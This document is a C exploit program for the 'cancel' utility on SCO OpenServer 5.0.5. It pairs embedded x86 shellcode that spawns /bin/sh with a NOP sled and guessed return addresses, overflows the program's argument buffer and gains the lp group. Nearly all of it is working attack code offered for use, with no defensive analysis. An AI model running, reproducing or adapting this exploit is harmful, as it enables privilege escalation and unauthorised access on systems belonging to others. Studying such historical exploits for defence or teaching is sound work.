/**
*** sco_cancel.c yields egid=18(lp)
*** Tested on SCO 5.0.5+Skunkware98
*** 
*** Compile gcc -o sco_cancelx.c sco_cancelx.c 
***
***  Brock Tellier btellier@usa.net
***	  
**/ 


#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* doble@iname.com */
  "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
  "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
  "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       
#define LEN 1500
#define NOP 0x90
                       
unsigned long get_sp(void) {
  __asm__("movl %esp, %eax");
}


int main(int argc, char *argv[]) {

  long int offset=0;
  int i;
  int buflen = LEN;
  long int addr;
  char buf[LEN];
 
  if(argc > 3) {
    fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
    exit(0); 
  }
  else if (argc == 2){
    offset=atoi(argv[1]);
  }
  else if (argc == 3) {
    offset=atoi(argv[1]);
    buflen=atoi(argv[2]); 
  }
  else {
    offset=600;
    buflen=1200;
  }

  addr=get_sp();
  fprintf(stderr, "\nSCO 5.0.5 cancel exploit yields egid=18(lp)\n");
  fprintf(stderr, "Brock Tellier btellier@webley.com\n\n");
  fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

  memset(buf,NOP,buflen);
  memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
  for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)
    *(int *)&buf[i]=addr+offset;

  execl("/opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel", "cancel", buf, NULL);
  exit(0);
}